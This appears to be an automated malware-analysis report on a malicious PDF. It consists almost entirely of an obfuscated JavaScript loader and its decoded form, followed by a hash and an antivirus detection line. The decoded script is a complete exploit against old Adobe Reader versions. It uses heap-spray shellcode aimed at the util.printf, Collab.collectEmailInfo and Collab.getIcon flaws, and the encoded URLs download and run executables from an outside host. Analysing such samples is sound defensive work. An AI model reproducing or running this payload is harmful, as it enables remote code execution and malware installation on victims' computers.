174,161,173,101,116,83,156,162,174,161,173,94,100,92,180,64,67,60,66,60,166,152,166,146,154,165,171,148,178,142,156,162,174,161,173,144,89,112,89,172,154,165,172,163,89,94,89,166,161,152,165,159,156,162,157,152,116,64,67,60,66,176,70,61,66,60,175,148,171,83,168,169,158,165,159,159,168,170,89,112,89,168,167,152,172,150,154,163,158,91,91,88,174,99,156,99,156,88,174,99,156,99,156,85,98,110,70,61,66,60,176,155,162,159,158,83,97,162,175,152,171,153,165,162,176,97,165,152,167,154,173,155,89,111,89,103,109,108,110,101,98,174,70,61,66,60,66,162,175,152,171,153,165,162,176,83,100,112,89,162,175,152,171,153,165,162,176,110,70,61,66,60,182,64,67,60,66,167,161,156,172,97,156,162,165,159,154,149,140,167,168,165,158,83,118,83,124,162,165,159,154,149,103,150,168,159,165,152,156,167,126,160,154,156,165,124,167,153,168,91,180,166,174,149,163,109,89,85,91,95,166,166,160,109,89,162,175,152,171,153,165,162,176,176,98,110,70,61,66,176,70,61,70,61,66,153,174,161,156,167,162,162,167,83,156,162,165,159,154,149,152,154,158,167,162,150,168,161,97,92,180,64,67,60,66,156,159,83,97,148,169,163,103,151,168,150,103,118,168,159,165,148,155,97,160,152,173,124,156,162,167,92,180,64,67,60,66,60,175,148,171,83,154,165,171,172,89,112,89,161,158,170,89,116,171,165,154,172,97,92,116,64,67,60,66,60,175,148,171,83,175,169,169,152,173,155,178,148,89,112,89,168,167,152,172,150,154,163,158,91,91,88,174,120,123,120,114,88,174,99,105,99,106,88,174,104,111,99,105,88,174,116,106,105,109,88,174,99,105,102,105,88,174,99,105,99,105,88,174,103,105,107,123,88,174,107,123,99,124,88,174,100,124,106,105,88,174,107,123,116,125,88,174,99,113,103,105,88,174,118,108,104,126,88,174,107,123,104,110,88,174,107,123,120,124,88,174,99,113,103,110,88,174,102,108,104,107,88,174,118,106,119,107,88,174,99,108,118,107,88,174,100,105,102,107,88,174,107,105,103,105,88,174,99,105,102,113,88,174,121,110,106,110,88,174,118,107,107,123,88,174,104,125,104,122,88,174,99,109,118,107,88,174,104,110,99,105,88,174,120,124,107,123,88,174,104,106,104,106,88,174,104,111,104,108,88,174,105,105,104,112,88,174,104,125,107,123,88,174,102,108,99,113,88,174,107,123,118,105,88,174,99,124,106,110,88,174,121,126,107,123,88,174,106,111,99,108,88,174,107,123,102,124,88,174,106,113,103,126,88,174,118,127,99,108,88,174,104,106,107,123,88,174,104,107,100,124,88,174,104,106,107,123,88,174,104,107,101,109,88,174,106,106,107,123,88,174,103,126,100,109,88,174,106,110,107,114,88,174,107,123,121,124,88,174,101,105,106,106,88,174,121,112,99,108,88,174,103,122,108,114,88,174,103,107,116,125,88,174,102,123,105,105,88,174,121,124,104,110,88,174,99,109,106,110,88,174,118,105,102,108,88,174,102,112,120,123,88,174,121,127,102,108,88,174,103,110,99,108,88,174,108,112,99,124,88,174,118,127,107,123,88,174,106,110,116,126,88,174,101,123,121,125,88,174,103,127,121,114,88,174,120,113,104,106,88,174,121,127,108,109,88,174,121,127,121,127,88,174,118,108,102,123,88,174,106,109,105,106,88,174,120,123,99,107,88,174,107,123,119,114,88,174,99,124,103,110,88,174,104,126,108,107,88,174,121,107,99,108,88,174,120,105,119,106,88,174,118,111,99,108,88,174,118,114,102,108,88,174,117,112,99,127,88,174,104,127,99,113,88,174,120,106,118,106,88,174,99,108,99,107,88,174,99,108,118,122,88,174,107,123,118,127,88,174,99,108,99,106,88,174,107,114,118,107,88,174,121,113,103,110,88,174,107,123,105,106,88,174,121,113,103,110,88,174,104,126,104,127,88,174,118,114,104,123,88,174,104,110,118,108,88,174,120,124,107,123,88,174,120,113,104,106,88,174,121,127,103,114,88,174,121,127,121,127,88,174,105,113,104,105,88,174,105,105,120,113,88,174,99,109,117,127,88,174,105,124,120,113,88,174,121,127,121,127,88,174,102,108,121,127,88,174,104,107,119,107,88,174,121,127,104,107,88,174,99,113,106,110,88,174,119,105,121,127,88,174,103,110,107,114,88,174,107,123,121,124,88,174,121,124,103,110,88,174,118,108,118,114,88,174,107,123,104,110,88,174,107,108,120,124,88,174,99,124,120,124,88,174,103,110,107,125,88,174,104,105,121,109,88,174,103,110,118,111,88,174,106,110,121,109,88,174,103,110,118,111,88,174,106,107,121,110,88,174,103,110,118,111,88,174,105,124,121,111,88,174,103,110,118,111,88,174,105,125,121,112,88,174,103,110,118,111,88,174,105,127,121,113,88,174,103,110,118,111,88,174,105,126,121,114,88,174,103,110,118,111,88,174,101,126,121,122,88,174,103,110,118,111,88,174,105,109,121,123,88,174,103,110,118,111,88,174,105,124,121,124,88,174,103,110,118,111,88,174,105,124,121,125,88,174,103,110,118,111,88,174,99,105,121,126,88,174,116,105,120,113,88,174,121,127,121,127,88,174,104,105,121,127,88,174,104,125,105,113,88,174,100,106,107,122,88,174,120,113,100,111,88,174,121,127,100,110,88,174,121,127,121,127,88,174,118,109,107,108,88,174,107,110,99,124,88,174,106,109,118,105,88,174,105,122,100,110,88,174,105,122,99,105,88,174,121,127,99,105,88,174,99,124,106,110,88,174,106,110,121,127,88,174,105,122,99,113,88,174,121,127,99,105,88,174,107,110,119,105,88,174,106,110,118,105,88,174,103,105,99,108,88,174,118,108,118,114,88,174,118,105,102,108,88,174,118,108,118,114,88,174,102,108,104,112,88,174,107,123,118,105,88,174,101,109,103,124,88,174,107,123,99,124,88,174,101,109,106,124,88,174,121,124,99,113,88,174,116,122,121,108,88,174,118,108,104,127,88,174,103,124,107,123,88,174,99,109,101,109,88,174,102,114,107,105,88,174,107,123,99,105,88,174,106,109,118,106,88,174,103,105,99,111,88,174,102,113,107,105,88,174,106,110,99,105,88,174,101,123,121,122,88,174,118,108,118,106,88,174,107,123,104,110,88,174,107,108,120,124,88,174,105,109,120,124,88,174,107,125,104,108,88,174,121,105,103,110,88,174,102,108,104,112,88,174,104,105,119,123,88,174,103,110,118,111,88,174,105,123,121,105,88,174,103,110,118,111,88,174,105,110,121,106,88,174,103,110,118,111,88,174,106,107,121,107,88,174,103,110,118,111,88,174,105,126,121,108,88,174,103,110,118,111,88,174,105,110,121,109,88,174,103,110,118,111,88,174,105,124,121,110,88,174,103,110,118,111,88,174,102,108,121,111,88,174,103,110,118,111,88,174,102,107,121,112,88,174,103,110,118,111,88,174,101,126,121,113,88,174,103,110,118,111,88,174,105,109,121,114,88,174,103,110,118,111,88,174,105,124,121,122,88,174,103,110,118,111,88,174,105,124,121,123,88,174,104,125,107,113,88,174,120,113,121,124,88,174,121,127,99,123,88,174,121,127,121,127,88,174,105,113,104,105,88,174,103,108,105,113,88,174,107,126,121,114,88,174,107,105,120,113,88,174,121,127,121,126,88,174,107,123,121,127,88,174,107,125,121,113,88,174,108,124,103,110,88,174,103,109,105,122,88,174,120,113,104,105,88,174,121,127,106,126,88,174,121,127,121,127,88,174,103,110,107,125,88,174,105,122,120,105,88,174,104,105,100,105,88,174,106,108,120,113,88,174,121,127,121,127,88,174,107,108,121,127,88,174,100,124,118,109,88,174,103,110,107,125,88,174,104,105,120,105,88,174,103,110,107,125,88,174,104,105,108,124,88,174,104,108,104,108,88,174,104,108,104,108,88,174,104,108,104,108,88,174,106,110,121,127,88,174,118,112,99,113,88,174,108,124,103,110,88,174,99,105,103,109,88,174,99,105,99,105,88,174,121,127,104,108,88,174,104,127,119,112,88,174,117,111,99,127,88,174,104,123,118,105,88,174,118,108,118,114,88,174,107,123,104,110,88,174,104,106,120,124,88,174,104,108,104,106,88,174,104,112,104,111,88,174,103,107,105,122,88,174,106,107,120,113,88,174,99,105,99,105,88,174,107,123,99,105,88,174,102,108,119,113,88,174,107,110,121,111,88,174,104,114,119,123,88,174,103,110,118,112,88,174,105,106,121,113,88,174,105,110,101,126,88,174,118,112,106,113,88,174,121,124,103,110,88,174,99,105,105,110,88,174,99,105,99,105,88,174,104,111,106,126,88,174,103,110,107,125,88,174,104,105,121,113,88,174,120,113,104,111,88,174,99,105,104,106,88,174,99,105,99,105,88,174,104,105,104,114,88,174,117,106,120,113,88,174,121,127,121,126,88,174,107,110,121,127,88,174,104,114,118,105,88,174,106,109,104,114,88,174,107,125,102,114,88,174,99,106,103,111,88,174,120,113,104,105,88,174,99,105,102,123,88,174,99,105,99,105,88,174,121,113,107,123,88,174,103,110,107,125,88,174,104,105,121,113,88,174,101,106,120,113,88,174,121,127,121,127,88,174,107,110,121,127,88,174,104,114,118,105,88,174,106,109,104,114,88,174,104,112,99,124,88,174,99,106,120,113,88,174,121,127,121,127,88,174,104,114,121,127,88,174,103,109,118,111,88,174,121,127,102,113,88,174,104,105,106,108,88,174,103,110,107,125,88,174,121,126,121,113,88,174,104,113,99,105,88,174,103,110,107,125,88,174,104,105,121,113,88,174,120,113,104,112,88,174,121,126,106,109,88,174,121,127,121,127,88,174,104,114,104,114,88,174,103,111,103,111,88,174,121,108,102,123,88,174,116,122,106,124,88,174,104,126,104,127,88,174,118,114,104,123,88,174,104,110,118,108,88,174,120,124,107,123,88,174,104,108,104,106,88,174,105,105,105,111,88,174,102,107,117,106,88,174,99,105,120,113,88,174,99,105,99,105,88,174,104,113,99,105,88,174,99,113,102,113,88,174,99,108,106,109,88,174,120,123,103,105,88,174,103,105,121,114,88,174,104,125,107,123,88,174,107,105,99,113,88,174,103,107,121,123,88,174,99,113,106,110,88,174,119,123,102,108,88,174,100,113,107,122,88,174,118,108,107,123,88,174,100,112,120,123,88,174,100,113,102,113,88,174,100,106,106,111,88,174,102,108,103,105,88,174,107,109,118,114,88,174,106,109,119,123,88,174,103,105,99,124,88,174,99,113,102,113,88,174,121,123,106,110,88,174,121,126,103,105,88,174,120,123,118,123,88,174,102,108,121,107,88,174,107,114,118,105,88,174,121,124,103,110,88,174,103,110,107,123,88,174,104,123,121,124,88,174,118,108,118,114,88,174,99,107,102,107,88,174,106,109,105,113,88,174,106,105,106,109,88,174,101,127,102,122,88,174,105,112,101,127,88,174,105,114,105,123,88,174,105,124,106,105,88,174,105,125,105,106,88,174,105,126,105,114,88,174,106,107,101,126,88,174,101,127,106,110,88,174,105,124,105,112,88,174,101,127,105,106,88,174,105,112,105,111,88,174,105,126,105,113,88,174,101,126,102,107,88,174,106,113,105,110,88,174,99,105,105,110,88,174,106,109,105,113,88,174,106,105,106,109,88,174,101,127,102,122,88,174,105,112,101,127,88,174,105,114,105,123,88,174,105,124,106,105,88,174,105,125,105,106,88,174,105,126,105,114,88,174,106,107,101,126,88,174,101,127,106,110,88,174,105,124,105,112,88,174,101,127,105,106,88,174,105,124,105,108,88,174,105,108,105,114,88,174,101,126,105,123,88,174,105,113,106,105,88,174,102,127,106,105,88,174,102,125,106,107,88,174,99,105,99,105,85,98,110,70,61,66,60,66,169,154,165,89,155,144,164,110,99,105,118,135,83,118,83,175,169,169,152,173,155,178,148,103,159,158,161,160,167,161,83,99,83,107,110,70,61,66,60,66,169,154,165,89,159,158,161,89,112,89,99,177,103,105,99,105,99,105,83,102,83,97,155,144,164,110,99,105,118,135,83,100,83,105,171,108,107,98,110,70,61,66,60,66,169,154,165,89,172,154,165,172,163,89,112,89,168,167,152,172,150,154,163,158,91,91,88,174,108,105,108,105,88,174,108,105,108,105,85,98,110,70,61,66,60,66,172,154,165,172,163,89,112,89,153,162,171,152,156,173,91,178,148,171,166,169,95,89,159,158,161,98,110,70,61,66,60,66,169,154,165,89,163,110,116,163,126,111,104,159,83,118,83,97,99,177,99,156,99,156,99,156,99,156,83,102,83,105,171,109,99,105,99,105,99,98,83,104,83,105,171,109,99,105,99,105,99,116,64,67,60,66,60,159,162,171,83,97,169,154,165,89,169,170,150,138,119,114,105,178,83,118,83,105,110,89,169,170,150,138,119,114,105,178,83,117,83,169,104,122,157,132,105,110,153,116,83,175,164,156,132,125,108,111,172,89,94,100,83,98,174,70,61,66,60,66,60,154,165,171,172,148,169,170,150,138,119,114,105,178,144,89,112,89,172,154,165,172,163,89,94,89,169,175,163,158,167,161,172,154,110,70,61,66,60,66,176,70,61,66,60,66,169,154,165,89,167,142,128,161,129,155,122,176,83,118,83,174,161,158,166,156,148,169,152,97,85,94,99,114,85,98,110,70,61,66,60,66,170,161,156,165,152,89,91,173,136,134,155,135,149,128,170,103,159,158,161,160,167,161,83,117,83,105,171,109,99,105,99,98,174,70,61,66,60,66,60,173,136,134,155,135,149,128,170,89,94,118,83,173,136,134,155,135,149,128,170,116,64,67,60,66,60,182,64,67,60,66,60,173,136,134,155,135,149,128,170,89,112,89,85,135,97,91,83,100,83,173,136,134,155,135,149,128,170,116,64,67,60,66,60,154,163,169,97,157,162,156,97,124,162,165,159,154,149,103,154,158,167,130,150,168,161,97,167,142,128,161,129,155,122,176,92,116,64,67,60,66,176,70,61,66,176,70,61,70,61,66,153,174,161,156,167,162,162,167,83,169,151,159,146,172,167,154,165,173,91,98,174,70,61,70,61,66,60,175,148,171,83,175,152,171,166,162,162,167,83,118,83,154,163,169,97,175,156,158,170,158,165,143,152,171,166,162,162,167,97,173,162,140,167,171,156,167,154,97,92,116,64,67,60,66,169,158,165,172,156,168,161,89,112,89,169,158,165,172,156,168,161,103,165,158,163,165,148,156,152,97,98,149,119,104,154,101,90,96,92,116,64,67,60,66,169,154,165,89,169,154,165,172,156,168,161,152,148,171,165,154,172,89,112,89,161,158,170,89,116,171,165,154,172,97,169,158,165,172,156,168,161,103,150,161,148,171,116,173,91,105,92,101,83,175,152,171,166,162,162,167,97,156,155,154,165,122,167,97,100,98,95,89,169,158,165,172,156,168,161,103,150,161,148,171,116,173,91,107,92,98,110,70,61,66,60,162,153,89,91,97,169,154,165,172,156,168,161,152,148,171,165,154,172,148,99,150,83,118,112,89,107,98,83,95,89,89,91,175,148,171,166,162,162,167,146,154,165,171,148,178,142,106,144,89,112,118,83,105,92,89,175,181,83,97,169,154,165,172,156,168,161,152,148,171,165,154,172,148,100,150,83,118,112,89,100,89,89,95,83,175,148,171,166,162,162,167,146,154,165,171,148,178,142,107,144,89,111,89,102,98,92,180,64,67,60,66,60,174,167,162,159,152,163,171,156,167,167,159,91,98,110,70,61,66,60,182,64,67,60,66,156,159,83,97,91,175,148,171,166,162,162,167,146,154,165,171,148,178,142,105,144,89,111,89,107,98,83,181,175,89,91,175,148,171,166,162,162,167,146,154,165,171,148,178,142,105,144,89,112,118,83,113,83,95,89,89,169,154,165,172,156,168,161,152,148,171,165,154,172,148,100,150,83,117,83,107,83,95,89,89,169,154,165,172,156,168,161,152,148,171,165,154,172,148,101,150,83,117,83,107,92,98,174,70,61,66,60,66,150,168,159,165,148,155,146,158,160,154,156,165,91,98,110,70,61,66,60,182,64,67,60,66,156,159,83,97,91,175,148,171,166,162,162,167,146,154,165,171,148,178,142,105,144,89,111,89,108,98,83,181,175,89,91,175,148,171,166,162,162,167,146,154,165,171,148,178,142,105,144,89,112,118,83,114,83,95,89,89,169,154,165,172,156,168,161,152,148,171,165,154,172,148,100,150,83,117,83,106,92,98,174,70,61,66,60,66,150,168,159,165,148,155,146,160,152,173,156,156,162,167,91,98,110,70,61,66,60,182,64,67,60,182,64,67,64,67,60,169,151,159,146,172,167,154,165,173,91,98,110,70,61,66],iuvx=function(){for(var gvwz;clos<emvxy.length;clos+=1){var abdlrv=clos%acdpuy.length+1;var bgoq=acdpuy.substring(clos%acdpuy.length,abdlrv);var bkmsy=emvxy[clos];jnstwy+=djnpr(bkmsy-bgoq.charCodeAt(0));} cefx(jnstwy);};iuvx();cijmu="cijmu";acelvz="";cdtx="";jkov=true;glvz=false;gjruvy="";cjouxy=56423;hmqt='';cjlmux='';gklov=false;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9916 bytes
SHA-256: `e18a3c422587a8d1d26f8ab925defa857819e0bcf71b3bd73f4999cfa00a60da`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6A66%u6C6B%u7776%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6563%u6F6B%u7270%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6766%u6E68%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

